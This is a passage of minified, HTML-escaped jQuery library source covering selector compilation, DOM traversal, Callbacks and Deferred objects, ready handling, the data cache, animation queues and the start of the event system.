return &quot;input&quot; === a.nodeName.toLowerCase() &amp;&amp; &quot;text&quot; === a.type &amp;&amp; (null == (b = a.getAttribute(&quot;type&quot;)) || &quot;text&quot; === b.toLowerCase())
},
first: lb(function() {
return [0]
}),
last: lb(function(a, b) {
return [b - 1]
}),
eq: lb(function(a, b, c) {
return [0 &gt; c ? c + b : c]
}),
even: lb(function(a, b) {
for (var c = 0; b &gt; c; c += 2) a.push(c);
return a
}),
odd: lb(function(a, b) {
for (var c = 1; b &gt; c; c += 2) a.push(c);
return a
}),
lt: lb(function(a, b, c) {
for (var d = 0 &gt; c ? c + b : c; --d &gt;= 0;) a.push(d);
return a
}),
gt: lb(function(a, b, c) {
for (var d = 0 &gt; c ? c + b : c; ++d &lt; b;) a.push(d);
return a
})
}
}, d.pseudos.nth = d.pseudos.eq;
for (b in {
radio: !0,
checkbox: !0,
file: !0,
password: !0,
image: !0
}) d.pseudos[b] = jb(b);
for (b in {
submit: !0,
reset: !0
}) d.pseudos[b] = kb(b);

function nb() {}
nb.prototype = d.filters = d.pseudos, d.setFilters = new nb;

function ob(a, b) {
var c, e, f, g, h, i, j, k = x[a + &quot; &quot;];
if (k) return b ? 0 : k.slice(0);
h = a, i = [], j = d.preFilter;
while (h) {
(!c || (e = Q.exec(h))) &amp;&amp; (e &amp;&amp; (h = h.slice(e[0].length) || h), i.push(f = [])), c = !1, (e = R.exec(h)) &amp;&amp; (c = e.shift(), f.push({
value: c,
type: e[0].replace(P, &quot; &quot;)
}), h = h.slice(c.length));
for (g in d.filter) !(e = V[g].exec(h)) || j[g] &amp;&amp; !(e = j[g](e)) || (c = e.shift(), f.push({
value: c,
type: g,
matches: e
}), h = h.slice(c.length));
if (!c) break
}
return b ? h.length : h ? db.error(a) : x(a, i).slice(0)
}

function pb(a) {
for (var b = 0, c = a.length, d = &quot;&quot;; c &gt; b; b++) d += a[b].value;
return d
}

function qb(a, b, c) {
var d = b.dir,
e = c &amp;&amp; &quot;parentNode&quot; === d,
f = v++;
return b.first ? function(b, c, f) {
while (b = b[d])
if (1 === b.nodeType || e) return a(b, c, f)
} : function(b, c, g) {
var h, i, j = [u, f];
if (g) {
while (b = b[d])
if ((1 === b.nodeType || e) &amp;&amp; a(b, c, g)) return !0
} else
while (b = b[d])
if (1 === b.nodeType || e) {
if (i = b[s] || (b[s] = {}), (h = i[d]) &amp;&amp; h[0] === u &amp;&amp; h[1] === f) return j[2] = h[2];
if (i[d] = j, j[2] = a(b, c, g)) return !0
}
}
}

function rb(a) {
return a.length &gt; 1 ? function(b, c, d) {
var e = a.length;
while (e--)
if (!a[e](b, c, d)) return !1;
return !0
} : a[0]
}

function sb(a, b, c, d, e) {
for (var f, g = [], h = 0, i = a.length, j = null != b; i &gt; h; h++)(f = a[h]) &amp;&amp; (!c || c(f, d, e)) &amp;&amp; (g.push(f), j &amp;&amp; b.push(h));
return g
}

function tb(a, b, c, d, e, f) {
return d &amp;&amp; !d[s] &amp;&amp; (d = tb(d)), e &amp;&amp; !e[s] &amp;&amp; (e = tb(e, f)), ba(function(f, g, h, i) {
var j, k, l, m = [],
n = [],
o = g.length,
p = f || wb(b || &quot;*&quot;, h.nodeType ? [h] : h, []),
q = !a || !f &amp;&amp; b ? p : sb(p, m, a, h, i),
r = c ? e || (f ? a : o || d) ? [] : g : q;
if (c &amp;&amp; c(q, r, h, i), d) {
j = sb(r, n), d(j, [], h, i), k = j.length;
while (k--)(l = j[k]) &amp;&amp; (r[n[k]] = !(q[n[k]] = l))
}
if (f) {
if (e || a) {
if (e) {
j = [], k = r.length;
while (k--)(l = r[k]) &amp;&amp; j.push(q[k] = l);
e(null, r = [], j, i)
}
k = r.length;
while (k--)(l = r[k]) &amp;&amp; (j = e ? I.call(f, l) : m[k]) &gt; -1 &amp;&amp; (f[j] = !(g[j] = l))
}
} else r = sb(r === g ? r.splice(o, r.length) : r), e ? e(null, g, r, i) : G.apply(g, r)
})
}

function ub(a) {
for (var b, c, e, f = a.length, g = d.relative[a[0].type], i = g || d.relative[&quot; &quot;], j = g ? 1 : 0, k = qb(function(a) {
return a === b
}, i, !0), l = qb(function(a) {
return I.call(b, a) &gt; -1
}, i, !0), m = [function(a, c, d) {
return !g &amp;&amp; (d || c !== h) || ((b = c).nodeType ? k(a, c, d) : l(a, c, d))
}]; f &gt; j; j++)
if (c = d.relative[a[j].type]) m = [qb(rb(m), c)];
else {
if (c = d.filter[a[j].type].apply(null, a[j].matches), c[s]) {
for (e = ++j; f &gt; e; e++)
if (d.relative[a[e].type]) break;
return tb(j &gt; 1 &amp;&amp; rb(m), j &gt; 1 &amp;&amp; pb(a.slice(0, j - 1).concat({
value: &quot; &quot; === a[j - 2].type ? &quot;*&quot; : &quot;&quot;
})).replace(P, &quot;$1&quot;), c, e &gt; j &amp;&amp; ub(a.slice(j, e)), f &gt; e &amp;&amp; ub(a = a.slice(e)), f &gt; e &amp;&amp; pb(a))
}
m.push(c)
}
return rb(m)
}

function vb(a, b) {
var c = b.length &gt; 0,
e = a.length &gt; 0,
f = function(f, g, i, j, k) {
var m, n, o, p = 0,
q = &quot;0&quot;,
r = f &amp;&amp; [],
s = [],
t = h,
v = f || e &amp;&amp; d.find.TAG(&quot;*&quot;, k),
w = u += null == t ? 1 : Math.random() || .1,
x = v.length;
for (k &amp;&amp; (h = g !== l &amp;&amp; g); q !== x &amp;&amp; null != (m = v[q]); q++) {
if (e &amp;&amp; m) {
n = 0;
while (o = a[n++])
if (o(m, g, i)) {
j.push(m);
break
}
k &amp;&amp; (u = w)
}
c &amp;&amp; ((m = !o &amp;&amp; m) &amp;&amp; p--, f &amp;&amp; r.push(m))
}
if (p += q, c &amp;&amp; q !== p) {
n = 0;
while (o = b[n++]) o(r, s, g, i);
if (f) {
if (p &gt; 0)
while (q--) r[q] || s[q] || (s[q] = E.call(j));
s = sb(s)
}
G.apply(j, s), k &amp;&amp; !f &amp;&amp; s.length &gt; 0 &amp;&amp; p + b.length &gt; 1 &amp;&amp; db.uniqueSort(j)
}
return k &amp;&amp; (u = w, h = t), r
};
return c ? ba(f) : f
}
g = db.compile = function(a, b) {
var c, d = [],
e = [],
f = y[a + &quot; &quot;];
if (!f) {
b || (b = ob(a)), c = b.length;
while (c--) f = ub(b[c]), f[s] ? d.push(f) : e.push(f);
f = y(a, vb(e, d))
}
return f
};

function wb(a, b, c) {
for (var d = 0, e = b.length; e &gt; d; d++) db(a, b[d], c);
return c
}

function xb(a, b, e, f) {
var h, i, j, k, l, m = ob(a);
if (!f &amp;&amp; 1 === m.length) {
if (i = m[0] = m[0].slice(0), i.length &gt; 2 &amp;&amp; &quot;ID&quot; === (j = i[0]).type &amp;&amp; c.getById &amp;&amp; 9 === b.nodeType &amp;&amp; n &amp;&amp; d.relative[i[1].type]) {
if (b = (d.find.ID(j.matches[0].replace(ab, bb), b) || [])[0], !b) return e;
a = a.slice(i.shift().value.length)
}
h = V.needsContext.test(a) ? 0 : i.length;
while (h--) {
if (j = i[h], d.relative[k = j.type]) break;
if ((l = d.find[k]) &amp;&amp; (f = l(j.matches[0].replace(ab, bb), $.test(i[0].type) &amp;&amp; mb(b.parentNode) || b))) {
if (i.splice(h, 1), a = f.length &amp;&amp; pb(i), !a) return G.apply(e, f), e;
break
}
}
}
return g(a, m)(f, b, !n, e, $.test(a) &amp;&amp; mb(b.parentNode) || b), e
}
return c.sortStable = s.split(&quot;&quot;).sort(z).join(&quot;&quot;) === s, c.detectDuplicates = !!j, k(), c.sortDetached = gb(function(a) {
return 1 &amp; a.compareDocumentPosition(l.createElement(&quot;div&quot;))
}), gb(function(a) {
return a.innerHTML = &quot;&lt;a href='#'&gt;&lt;/a&gt;&quot;, &quot;#&quot; === a.firstChild.getAttribute(&quot;href&quot;)
}) || hb(&quot;type|href|height|width&quot;, function(a, b, c) {
return c ? void 0 : a.getAttribute(b, &quot;type&quot; === b.toLowerCase() ? 1 : 2)
}), c.attributes &amp;&amp; gb(function(a) {
return a.innerHTML = &quot;&lt;input/&gt;&quot;, a.firstChild.setAttribute(&quot;value&quot;, &quot;&quot;), &quot;&quot; === a.firstChild.getAttribute(&quot;value&quot;)
}) || hb(&quot;value&quot;, function(a, b, c) {
return c || &quot;input&quot; !== a.nodeName.toLowerCase() ? void 0 : a.defaultValue
}), gb(function(a) {
return null == a.getAttribute(&quot;disabled&quot;)
}) || hb(J, function(a, b, c) {
var d;
return c ? void 0 : a[b] === !0 ? b.toLowerCase() : (d = a.getAttributeNode(b)) &amp;&amp; d.specified ? d.value : null
}), db
}(a);
n.find = t, n.expr = t.selectors, n.expr[&quot;:&quot;] = n.expr.pseudos, n.unique = t.uniqueSort, n.text = t.getText, n.isXMLDoc = t.isXML, n.contains = t.contains;
var u = n.expr.match.needsContext,
v = /^&lt;(\w+)\s*\/?&gt;(?:&lt;\/\1&gt;|)$/,
w = /^.[^:#\[\.,]*$/;

function x(a, b, c) {
if (n.isFunction(b)) return n.grep(a, function(a, d) {
return !!b.call(a, d, a) !== c
});
if (b.nodeType) return n.grep(a, function(a) {
return a === b !== c
});
if (&quot;string&quot; == typeof b) {
if (w.test(b)) return n.filter(b, a, c);
b = n.filter(b, a)
}
return n.grep(a, function(a) {
return n.inArray(a, b) &gt;= 0 !== c
})
}
n.filter = function(a, b, c) {
var d = b[0];
return c &amp;&amp; (a = &quot;:not(&quot; + a + &quot;)&quot;), 1 === b.length &amp;&amp; 1 === d.nodeType ? n.find.matchesSelector(d, a) ? [d] : [] : n.find.matches(a, n.grep(b, function(a) {
return 1 === a.nodeType
}))
}, n.fn.extend({
find: function(a) {
var b, c = [],
d = this,
e = d.length;
if (&quot;string&quot; != typeof a) return this.pushStack(n(a).filter(function() {
for (b = 0; e &gt; b; b++)
if (n.contains(d[b], this)) return !0
}));
for (b = 0; e &gt; b; b++) n.find(a, d[b], c);
return c = this.pushStack(e &gt; 1 ? n.unique(c) : c), c.selector = this.selector ? this.selector + &quot; &quot; + a : a, c
},
filter: function(a) {
return this.pushStack(x(this, a || [], !1))
},
not: function(a) {
return this.pushStack(x(this, a || [], !0))
},
is: function(a) {
return !!x(this, &quot;string&quot; == typeof a &amp;&amp; u.test(a) ? n(a) : a || [], !1).length
}
});
var y, z = a.document,
A = /^(?:\s*(&lt;[\w\W]+&gt;)[^&gt;]*|#([\w-]*))$/,
B = n.fn.init = function(a, b) {
var c, d;
if (!a) return this;
if (&quot;string&quot; == typeof a) {
if (c = &quot;&lt;&quot; === a.charAt(0) &amp;&amp; &quot;&gt;&quot; === a.charAt(a.length - 1) &amp;&amp; a.length &gt;= 3 ? [null, a, null] : A.exec(a), !c || !c[1] &amp;&amp; b) return !b || b.jquery ? (b || y).find(a) : this.constructor(b).find(a);
if (c[1]) {
if (b = b instanceof n ? b[0] : b, n.merge(this, n.parseHTML(c[1], b &amp;&amp; b.nodeType ? b.ownerDocument || b : z, !0)), v.test(c[1]) &amp;&amp; n.isPlainObject(b))
for (c in b) n.isFunction(this[c]) ? this[c](b[c]) : this.attr(c, b[c]);
return this
}
if (d = z.getElementById(c[2]), d &amp;&amp; d.parentNode) {
if (d.id !== c[2]) return y.find(a);
this.length = 1, this[0] = d
}
return this.context = z, this.selector = a, this
}
return a.nodeType ? (this.context = this[0] = a, this.length = 1, this) : n.isFunction(a) ? &quot;undefined&quot; != typeof y.ready ? y.ready(a) : a(n) : (void 0 !== a.selector &amp;&amp; (this.selector = a.selector, this.context = a.context), n.makeArray(a, this))
};
B.prototype = n.fn, y = n(z);
var C = /^(?:parents|prev(?:Until|All))/,
D = {
children: !0,
contents: !0,
next: !0,
prev: !0
};
n.extend({
dir: function(a, b, c) {
var d = [],
e = a[b];
while (e &amp;&amp; 9 !== e.nodeType &amp;&amp; (void 0 === c || 1 !== e.nodeType || !n(e).is(c))) 1 === e.nodeType &amp;&amp; d.push(e), e = e[b];
return d
},
sibling: function(a, b) {
for (var c = []; a; a = a.nextSibling) 1 === a.nodeType &amp;&amp; a !== b &amp;&amp; c.push(a);
return c
}
}), n.fn.extend({
has: function(a) {
var b, c = n(a, this),
d = c.length;
return this.filter(function() {
for (b = 0; d &gt; b; b++)
if (n.contains(this, c[b])) return !0
})
},
closest: function(a, b) {
for (var c, d = 0, e = this.length, f = [], g = u.test(a) || &quot;string&quot; != typeof a ? n(a, b || this.context) : 0; e &gt; d; d++)
for (c = this[d]; c &amp;&amp; c !== b; c = c.parentNode)
if (c.nodeType &lt; 11 &amp;&amp; (g ? g.index(c) &gt; -1 : 1 === c.nodeType &amp;&amp; n.find.matchesSelector(c, a))) {
f.push(c);
break
}
return this.pushStack(f.length &gt; 1 ? n.unique(f) : f)
},
index: function(a) {
return a ? &quot;string&quot; == typeof a ? n.inArray(this[0], n(a)) : n.inArray(a.jquery ? a[0] : a, this) : this[0] &amp;&amp; this[0].parentNode ? this.first().prevAll().length : -1
},
add: function(a, b) {
return this.pushStack(n.unique(n.merge(this.get(), n(a, b))))
},
addBack: function(a) {
return this.add(null == a ? this.prevObject : this.prevObject.filter(a))
}
});

function E(a, b) {
do a = a[b]; while (a &amp;&amp; 1 !== a.nodeType);
return a
}
n.each({
parent: function(a) {
var b = a.parentNode;
return b &amp;&amp; 11 !== b.nodeType ? b : null
},
parents: function(a) {
return n.dir(a, &quot;parentNode&quot;)
},
parentsUntil: function(a, b, c) {
return n.dir(a, &quot;parentNode&quot;, c)
},
next: function(a) {
return E(a, &quot;nextSibling&quot;)
},
prev: function(a) {
return E(a, &quot;previousSibling&quot;)
},
nextAll: function(a) {
return n.dir(a, &quot;nextSibling&quot;)
},
prevAll: function(a) {
return n.dir(a, &quot;previousSibling&quot;)
},
nextUntil: function(a, b, c) {
return n.dir(a, &quot;nextSibling&quot;, c)
},
prevUntil: function(a, b, c) {
return n.dir(a, &quot;previousSibling&quot;, c)
},
siblings: function(a) {
return n.sibling((a.parentNode || {}).firstChild, a)
},
children: function(a) {
return n.sibling(a.firstChild)
},
contents: function(a) {
return n.nodeName(a, &quot;iframe&quot;) ? a.contentDocument || a.contentWindow.document : n.merge([], a.childNodes)
}
}, function(a, b) {
n.fn[a] = function(c, d) {
var e = n.map(this, b, c);
return &quot;Until&quot; !== a.slice(-5) &amp;&amp; (d = c), d &amp;&amp; &quot;string&quot; == typeof d &amp;&amp; (e = n.filter(d, e)), this.length &gt; 1 &amp;&amp; (D[a] || (e = n.unique(e)), C.test(a) &amp;&amp; (e = e.reverse())), this.pushStack(e)
}
});
var F = /\S+/g,
G = {};

function H(a) {
var b = G[a] = {};
return n.each(a.match(F) || [], function(a, c) {
b[c] = !0
}), b
}
n.Callbacks = function(a) {
a = &quot;string&quot; == typeof a ? G[a] || H(a) : n.extend({}, a);
var b, c, d, e, f, g, h = [],
i = !a.once &amp;&amp; [],
j = function(l) {
for (c = a.memory &amp;&amp; l, d = !0, f = g || 0, g = 0, e = h.length, b = !0; h &amp;&amp; e &gt; f; f++)
if (h[f].apply(l[0], l[1]) === !1 &amp;&amp; a.stopOnFalse) {
c = !1;
break
}
b = !1, h &amp;&amp; (i ? i.length &amp;&amp; j(i.shift()) : c ? h = [] : k.disable())
},
k = {
add: function() {
if (h) {
var d = h.length;
! function f(b) {
n.each(b, function(b, c) {
var d = n.type(c);
&quot;function&quot; === d ? a.unique &amp;&amp; k.has(c) || h.push(c) : c &amp;&amp; c.length &amp;&amp; &quot;string&quot; !== d &amp;&amp; f(c)
})
}(arguments), b ? e = h.length : c &amp;&amp; (g = d, j(c))
}
return this
},
remove: function() {
return h &amp;&amp; n.each(arguments, function(a, c) {
var d;
while ((d = n.inArray(c, h, d)) &gt; -1) h.splice(d, 1), b &amp;&amp; (e &gt;= d &amp;&amp; e--, f &gt;= d &amp;&amp; f--)
}), this
},
has: function(a) {
return a ? n.inArray(a, h) &gt; -1 : !(!h || !h.length)
},
empty: function() {
return h = [], e = 0, this
},
disable: function() {
return h = i = c = void 0, this
},
disabled: function() {
return !h
},
lock: function() {
return i = void 0, c || k.disable(), this
},
locked: function() {
return !i
},
fireWith: function(a, c) {
return !h || d &amp;&amp; !i || (c = c || [], c = [a, c.slice ? c.slice() : c], b ? i.push(c) : j(c)), this
},
fire: function() {
return k.fireWith(this, arguments), this
},
fired: function() {
return !!d
}
};
return k
}, n.extend({
Deferred: function(a) {
var b = [
[&quot;resolve&quot;, &quot;done&quot;, n.Callbacks(&quot;once memory&quot;), &quot;resolved&quot;],
[&quot;reject&quot;, &quot;fail&quot;, n.Callbacks(&quot;once memory&quot;), &quot;rejected&quot;],
[&quot;notify&quot;, &quot;progress&quot;, n.Callbacks(&quot;memory&quot;)]
],
c = &quot;pending&quot;,
d = {
state: function() {
return c
},
always: function() {
return e.done(arguments).fail(arguments), this
},
then: function() {
var a = arguments;
return n.Deferred(function(c) {
n.each(b, function(b, f) {
var g = n.isFunction(a[b]) &amp;&amp; a[b];
e[f[1]](function() {
var a = g &amp;&amp; g.apply(this, arguments);
a &amp;&amp; n.isFunction(a.promise) ? a.promise().done(c.resolve).fail(c.reject).progress(c.notify) : c[f[0] + &quot;With&quot;](this === d ? c.promise() : this, g ? [a] : arguments)
})
}), a = null
}).promise()
},
promise: function(a) {
return null != a ? n.extend(a, d) : d
}
},
e = {};
return d.pipe = d.then, n.each(b, function(a, f) {
var g = f[2],
h = f[3];
d[f[1]] = g.add, h &amp;&amp; g.add(function() {
c = h
}, b[1 ^ a][2].disable, b[2][2].lock), e[f[0]] = function() {
return e[f[0] + &quot;With&quot;](this === e ? d : this, arguments), this
}, e[f[0] + &quot;With&quot;] = g.fireWith
}), d.promise(e), a &amp;&amp; a.call(e, e), e
},
when: function(a) {
var b = 0,
c = d.call(arguments),
e = c.length,
f = 1 !== e || a &amp;&amp; n.isFunction(a.promise) ? e : 0,
g = 1 === f ? a : n.Deferred(),
h = function(a, b, c) {
return function(e) {
b[a] = this, c[a] = arguments.length &gt; 1 ? d.call(arguments) : e, c === i ? g.notifyWith(b, c) : --f || g.resolveWith(b, c)
}
},
i, j, k;
if (e &gt; 1)
for (i = new Array(e), j = new Array(e), k = new Array(e); e &gt; b; b++) c[b] &amp;&amp; n.isFunction(c[b].promise) ? c[b].promise().done(h(b, k, c)).fail(g.reject).progress(h(b, j, i)) : --f;
return f || g.resolveWith(k, c), g.promise()
}
});
var I;
n.fn.ready = function(a) {
return n.ready.promise().done(a), this
}, n.extend({
isReady: !1,
readyWait: 1,
holdReady: function(a) {
a ? n.readyWait++ : n.ready(!0)
},
ready: function(a) {
if (a === !0 ? !--n.readyWait : !n.isReady) {
if (!z.body) return setTimeout(n.ready);
n.isReady = !0, a !== !0 &amp;&amp; --n.readyWait &gt; 0 || (I.resolveWith(z, [n]), n.fn.trigger &amp;&amp; n(z).trigger(&quot;ready&quot;).off(&quot;ready&quot;))
}
}
});

function J() {
z.addEventListener ? (z.removeEventListener(&quot;DOMContentLoaded&quot;, K, !1), a.removeEventListener(&quot;load&quot;, K, !1)) : (z.detachEvent(&quot;onreadystatechange&quot;, K), a.detachEvent(&quot;onload&quot;, K))
}

function K() {
(z.addEventListener || &quot;load&quot; === event.type || &quot;complete&quot; === z.readyState) &amp;&amp; (J(), n.ready())
}
n.ready.promise = function(b) {
if (!I)
if (I = n.Deferred(), &quot;complete&quot; === z.readyState) setTimeout(n.ready);
else if (z.addEventListener) z.addEventListener(&quot;DOMContentLoaded&quot;, K, !1), a.addEventListener(&quot;load&quot;, K, !1);
else {
z.attachEvent(&quot;onreadystatechange&quot;, K), a.attachEvent(&quot;onload&quot;, K);
var c = !1;
try {
c = null == a.frameElement &amp;&amp; z.documentElement
} catch (d) {}
c &amp;&amp; c.doScroll &amp;&amp; ! function e() {
if (!n.isReady) {
try {
c.doScroll(&quot;left&quot;)
} catch (a) {
return setTimeout(e, 50)
}
J(), n.ready()
}
}()
}
return I.promise(b)
};
var L = &quot;undefined&quot;,
M;
for (M in n(l)) break;
l.ownLast = &quot;0&quot; !== M, l.inlineBlockNeedsLayout = !1, n(function() {
var a, b, c = z.getElementsByTagName(&quot;body&quot;)[0];
c &amp;&amp; (a = z.createElement(&quot;div&quot;), a.style.cssText = &quot;border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px&quot;, b = z.createElement(&quot;div&quot;), c.appendChild(a).appendChild(b), typeof b.style.zoom !== L &amp;&amp; (b.style.cssText = &quot;border:0;margin:0;width:1px;padding:1px;display:inline;zoom:1&quot;, (l.inlineBlockNeedsLayout = 3 === b.offsetWidth) &amp;&amp; (c.style.zoom = 1)), c.removeChild(a), a = b = null)
}),
function() {
var a = z.createElement(&quot;div&quot;);
if (null == l.deleteExpando) {
l.deleteExpando = !0;
try {
delete a.test
} catch (b) {
l.deleteExpando = !1
}
}
a = null
}(), n.acceptData = function(a) {
var b = n.noData[(a.nodeName + &quot; &quot;).toLowerCase()],
c = +a.nodeType || 1;
return 1 !== c &amp;&amp; 9 !== c ? !1 : !b || b !== !0 &amp;&amp; a.getAttribute(&quot;classid&quot;) === b
};
var N = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
O = /([A-Z])/g;

function P(a, b, c) {
if (void 0 === c &amp;&amp; 1 === a.nodeType) {
var d = &quot;data-&quot; + b.replace(O, &quot;-$1&quot;).toLowerCase();
if (c = a.getAttribute(d), &quot;string&quot; == typeof c) {
try {
c = &quot;true&quot; === c ? !0 : &quot;false&quot; === c ? !1 : &quot;null&quot; === c ? null : +c + &quot;&quot; === c ? +c : N.test(c) ? n.parseJSON(c) : c
} catch (e) {}
n.data(a, b, c)
} else c = void 0
}
return c
}

function Q(a) {
var b;
for (b in a)
if ((&quot;data&quot; !== b || !n.isEmptyObject(a[b])) &amp;&amp; &quot;toJSON&quot; !== b) return !1;
return !0
}

function R(a, b, d, e) {
if (n.acceptData(a)) {
var f, g, h = n.expando,
i = a.nodeType,
j = i ? n.cache : a,
k = i ? a[h] : a[h] &amp;&amp; h;
if (k &amp;&amp; j[k] &amp;&amp; (e || j[k].data) || void 0 !== d || &quot;string&quot; != typeof b) return k || (k = i ? a[h] = c.pop() || n.guid++ : h), j[k] || (j[k] = i ? {} : {
toJSON: n.noop
}), (&quot;object&quot; == typeof b || &quot;function&quot; == typeof b) &amp;&amp; (e ? j[k] = n.extend(j[k], b) : j[k].data = n.extend(j[k].data, b)), g = j[k], e || (g.data || (g.data = {}), g = g.data), void 0 !== d &amp;&amp; (g[n.camelCase(b)] = d), &quot;string&quot; == typeof b ? (f = g[b], null == f &amp;&amp; (f = g[n.camelCase(b)])) : f = g, f
}
}

function S(a, b, c) {
if (n.acceptData(a)) {
var d, e, f = a.nodeType,
g = f ? n.cache : a,
h = f ? a[n.expando] : n.expando;
if (g[h]) {
if (b &amp;&amp; (d = c ? g[h] : g[h].data)) {
n.isArray(b) ? b = b.concat(n.map(b, n.camelCase)) : b in d ? b = [b] : (b = n.camelCase(b), b = b in d ? [b] : b.split(&quot; &quot;)), e = b.length;
while (e--) delete d[b[e]];
if (c ? !Q(d) : !n.isEmptyObject(d)) return
}(c || (delete g[h].data, Q(g[h]))) &amp;&amp; (f ? n.cleanData([a], !0) : l.deleteExpando || g != g.window ? delete g[h] : g[h] = null)
}
}
}
n.extend({
cache: {},
noData: {
&quot;applet &quot;: !0,
&quot;embed &quot;: !0,
&quot;object &quot;: &quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot;
},
hasData: function(a) {
return a = a.nodeType ? n.cache[a[n.expando]] : a[n.expando], !!a &amp;&amp; !Q(a)
},
data: function(a, b, c) {
return R(a, b, c)
},
removeData: function(a, b) {
return S(a, b)
},
_data: function(a, b, c) {
return R(a, b, c, !0)
},
_removeData: function(a, b) {
return S(a, b, !0)
}
}), n.fn.extend({
data: function(a, b) {
var c, d, e, f = this[0],
g = f &amp;&amp; f.attributes;
if (void 0 === a) {
if (this.length &amp;&amp; (e = n.data(f), 1 === f.nodeType &amp;&amp; !n._data(f, &quot;parsedAttrs&quot;))) {
c = g.length;
while (c--) d = g[c].name, 0 === d.indexOf(&quot;data-&quot;) &amp;&amp; (d = n.camelCase(d.slice(5)), P(f, d, e[d]));
n._data(f, &quot;parsedAttrs&quot;, !0)
}
return e
}
return &quot;object&quot; == typeof a ? this.each(function() {
n.data(this, a)
}) : arguments.length &gt; 1 ? this.each(function() {
n.data(this, a, b)
}) : f ? P(f, a, n.data(f, a)) : void 0
},
removeData: function(a) {
return this.each(function() {
n.removeData(this, a)
})
}
}), n.extend({
queue: function(a, b, c) {
var d;
return a ? (b = (b || &quot;fx&quot;) + &quot;queue&quot;, d = n._data(a, b), c &amp;&amp; (!d || n.isArray(c) ? d = n._data(a, b, n.makeArray(c)) : d.push(c)), d || []) : void 0
},
dequeue: function(a, b) {
b = b || &quot;fx&quot;;
var c = n.queue(a, b),
d = c.length,
e = c.shift(),
f = n._queueHooks(a, b),
g = function() {
n.dequeue(a, b)
};
&quot;inprogress&quot; === e &amp;&amp; (e = c.shift(), d--), e &amp;&amp; (&quot;fx&quot; === b &amp;&amp; c.unshift(&quot;inprogress&quot;), delete f.stop, e.call(a, g, f)), !d &amp;&amp; f &amp;&amp; f.empty.fire()
},
_queueHooks: function(a, b) {
var c = b + &quot;queueHooks&quot;;
return n._data(a, c) || n._data(a, c, {
empty: n.Callbacks(&quot;once memory&quot;).add(function() {
n._removeData(a, b + &quot;queue&quot;), n._removeData(a, c)
})
})
}
}), n.fn.extend({
queue: function(a, b) {
var c = 2;
return &quot;string&quot; != typeof a &amp;&amp; (b = a, a = &quot;fx&quot;, c--), arguments.length &lt; c ? n.queue(this[0], a) : void 0 === b ? this : this.each(function() {
var c = n.queue(this, a, b);
n._queueHooks(this, a), &quot;fx&quot; === a &amp;&amp; &quot;inprogress&quot; !== c[0] &amp;&amp; n.dequeue(this, a)
})
},
dequeue: function(a) {
return this.each(function() {
n.dequeue(this, a)
})
},
clearQueue: function(a) {
return this.queue(a || &quot;fx&quot;, [])
},
promise: function(a, b) {
var c, d = 1,
e = n.Deferred(),
f = this,
g = this.length,
h = function() {
--d || e.resolveWith(f, [f])
};
&quot;string&quot; != typeof a &amp;&amp; (b = a, a = void 0), a = a || &quot;fx&quot;;
while (g--) c = n._data(f[g], a + &quot;queueHooks&quot;), c &amp;&amp; c.empty &amp;&amp; (d++, c.empty.add(h));
return h(), e.promise(b)
}
});
var T = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,
U = [&quot;Top&quot;, &quot;Right&quot;, &quot;Bottom&quot;, &quot;Left&quot;],
V = function(a, b) {
return a = b || a, &quot;none&quot; === n.css(a, &quot;display&quot;) || !n.contains(a.ownerDocument, a)
},
W = n.access = function(a, b, c, d, e, f, g) {
var h = 0,
i = a.length,
j = null == c;
if (&quot;object&quot; === n.type(c)) {
e = !0;
for (h in c) n.access(a, b, h, c[h], !0, f, g)
} else if (void 0 !== d &amp;&amp; (e = !0, n.isFunction(d) || (g = !0), j &amp;&amp; (g ? (b.call(a, d), b = null) : (j = b, b = function(a, b, c) {
return j.call(n(a), c)
})), b))
for (; i &gt; h; h++) b(a[h], c, g ? d : d.call(a[h], h, b(a[h], c)));
return e ? a : j ? b.call(a) : i ? b(a[0], c) : f
},
X = /^(?:checkbox|radio)$/i;
! function() {
var a = z.createDocumentFragment(),
b = z.createElement(&quot;div&quot;),
c = z.createElement(&quot;input&quot;);
if (b.setAttribute(&quot;className&quot;, &quot;t&quot;), b.innerHTML = &quot; 	&lt;link/&gt;
&lt;table&gt;&lt;/table&gt;
&lt;a href='/a'&gt;a&lt;/a&gt;&quot;, l.leadingWhitespace = 3 === b.firstChild.nodeType, l.tbody = !b.getElementsByTagName(&quot;tbody&quot;).length, l.htmlSerialize = !!b.getElementsByTagName(&quot;link&quot;).length, l.html5Clone = &quot;&lt;:nav&gt;&lt;/:nav&gt;&quot; !== z.createElement(&quot;nav&quot;).cloneNode(!0).outerHTML, c.type = &quot;checkbox&quot;, c.checked = !0, a.appendChild(c), l.appendChecked = c.checked, b.innerHTML = &quot;&lt;textarea&gt;x&lt;/textarea&gt;&quot;, l.noCloneChecked = !!b.cloneNode(!0).lastChild.defaultValue, a.appendChild(b), b.innerHTML = &quot;&lt;input type='radio' checked='checked' name='t'/&gt;&quot;, l.checkClone = b.cloneNode(!0).cloneNode(!0).lastChild.checked, l.noCloneEvent = !0, b.attachEvent &amp;&amp; (b.attachEvent(&quot;onclick&quot;, function() {
l.noCloneEvent = !1
}), b.cloneNode(!0).click()), null == l.deleteExpando) {
l.deleteExpando = !0;
try {
delete b.test
} catch (d) {
l.deleteExpando = !1
}
}
a = b = c = null
}(),
function() {
var b, c, d = z.createElement(&quot;div&quot;);
for (b in {
submit: !0,
change: !0,
focusin: !0
}) c = &quot;on&quot; + b, (l[b + &quot;Bubbles&quot;] = c in a) || (d.setAttribute(c, &quot;t&quot;), l[b + &quot;Bubbles&quot;] = d.attributes[c].expando === !1);
d = null
}();
var Y = /^(?:input|select|textarea)$/i,
Z = /^key/,
$ = /^(?:mouse|contextmenu)|click/,
_ = /^(?:focusinfocus|focusoutblur)$/,
ab = /^([^.]*)(?:\.(.+)|)$/;

function bb() {
return !0
}

function cb() {
return !1
}

function db() {
try {
return z.activeElement
} catch (a) {}
}
n.event = {
global: {},
add: function(a, b, c, d, e) {
var f, g, h, i, j, k, l, m, o, p, q, r = n._data(a);
if (r) {
c.handler &amp;&amp; (i = c, c = i.handler, e = i.selector), c.guid || (c.guid = n.guid++), (g = r.events) || (g = r.events = {}), (k = r.handle) || (k = r.handle = function(a) {
return typeof n === L || a &amp;&amp; n.event.triggered === a.type ? void 0 : n.event.dispatch.apply(k.elem, arguments)
}, k.elem = a), b = (b || &quot;&quot;).match(F) || [&quot;&quot;], h = b.length;
